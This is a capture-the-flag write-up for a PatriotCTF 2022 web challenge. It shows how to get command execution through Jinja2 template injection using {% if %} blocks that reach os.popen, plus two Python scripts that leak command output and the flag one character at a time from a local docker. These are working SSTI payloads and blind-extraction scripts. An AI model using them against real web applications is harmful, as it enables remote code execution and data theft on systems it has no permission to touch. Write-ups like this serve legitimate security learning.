This web app is vulnerable to template injection, but `{{` and `}}` is
filtered, so we can't use the same method. Jinja has support for if statement
templates that look like this: `{% if 'test' == 'test' %} render this string
if true {% endif %}`. Let's see what happens when we send this message:

![](https://github.com/NihilistPenguin/PatriotCTF2022-Writeups/raw/main/writeup-
images/jinja_if.png)

Since Python is an OOP language, we can Method Resolution Order (MRO) to
traverse across classes to a method we want, such as `os.popen`. Read more
about this here: https://www.onsecurity.io/blog/server-side-template-
injection-with-jinja2/. The following payload makes use of this to run the
`ls` command: `{% if
request.application.__globals__.__builtins__.__import__('os').popen('ls').read()
== 'test' %} a {% endif %}`

The problem is that we won't see the output. Instead of `ls`, you could just
put a reverse shell and that'd be it, but I removed netcat from the docker and
filtered basically any other useful special character so people can't do this.

We can instead do a blind test for the output of the command: `{% if
request.application.__globals__.__builtins__.__import__('os').popen('ls').read().startswith('"
+ str(x) + "') %} found {% endif %}`

If we put any character in `x`, then we can test if the output of the `ls`
command starts with that character by checking if we see `found` returned back
to us. Let's run this with the letter "D": `{% if
request.application.__globals__.__builtins__.__import__('os').popen('ls').read().startswith('D')
%} found {% endif %}`

![](https://github.com/NihilistPenguin/PatriotCTF2022-Writeups/raw/main/writeup-
images/ssti_found.png)

I chose "D" because `Dockerfile` is the first file in the docker. We just need
to script this so we can see the whole output of `ls`. Once we have that, we
can try to find the path to the `/admin.html` page so we can read the flag.

Here is the script:  
```python  
from os import popen  
import string  
import requests

SERVER_ADDR = "http://127.0.0.1:5000" # replace this with the actual IP of the
docker

def get_cookie():  
data = {  
"username": "test", # make sure to make a test:test user first  
"password": "test"  
}

req = requests.post(SERVER_ADDR+"/login", data=data)  
cookiejar = req.history[0].cookies  
cookie = cookiejar.get_dict()['session']

return cookie

cookie = {"session": get_cookie()}

final = ""  
while True:  
for x in string.printable:  
x = final + x  
payload = {'message':"{% if
request.application.__globals__.__builtins__.__import__('os').popen('ls').read().startswith('"
+ str(x) + "') %} found {% endif %}",  
'username':'admin'}  
r = requests.post(url=SERVER_ADDR + "/messages", data=payload, cookies=cookie)  
if 'found' in r.text:  
final = x  
print(final)  
break  
else:  
pass  
```

Let's run it:

![](https://github.com/NihilistPenguin/PatriotCTF2022-Writeups/raw/main/writeup-
images/ssti_ls.png)

We see the directory strucutre. We can keep running this until we find the
/admin.html file, but I'll skip that. I use a basic flask directory structure,
so it is located in `/app/templates/admin.html`. Now let's read the file.
There is a lot of HTML fluff that would make the process take forever, so we
can speed it up by grepping for `Flag` first. Here's the script:  
```python  
from os import popen  
import string  
import requests

SERVER_ADDR = "http://127.0.0.1:5000"

def get_cookie():  
data = {  
"username": "test",  
"password": "test"  
}

req = requests.post(SERVER_ADDR+"/login", data=data)  
cookiejar = req.history[0].cookies  
cookie = cookiejar.get_dict()['session']

return cookie

cookie = {"session": get_cookie()}

final = "Flag: PCTF{"  
while True:  
for x in string.printable:  
x = final + x  
payload = {'message':"{% if
request.application.__globals__.__builtins__.__import__('os').popen('grep -io
flag.*\\} ./app/templates/admin.html').read().startswith('" + str(x) + "') %}
found {% endif %}",  
'username':'admin'}  
r = requests.post(url=SERVER_ADDR + "/messages", data=payload, cookies=cookie)  
if 'found' in r.text:  
final = x  
print(final)  
break  
else:  
pass  
```

Let's run it:

![](https://github.com/NihilistPenguin/PatriotCTF2022-Writeups/raw/main/writeup-
images/underground_flag.png)

Original writeup
(https://github.com/NihilistPenguin/PatriotCTF2022-Writeups/blob/main/Web/MrO.md).